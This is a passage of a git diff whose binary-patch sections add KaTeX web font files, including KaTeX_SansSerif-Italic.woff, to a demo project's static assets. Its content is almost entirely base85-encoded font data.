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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_SansSerif-Italic.woff b/demo/static/dist/assets/KaTeX_SansSerif-Italic.woff new file mode 100644 index 0000000000000000000000000000000000000000..7e02df963621a5e26d53d510f0b4992eebde1c60 GIT binary patch literal 14112 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 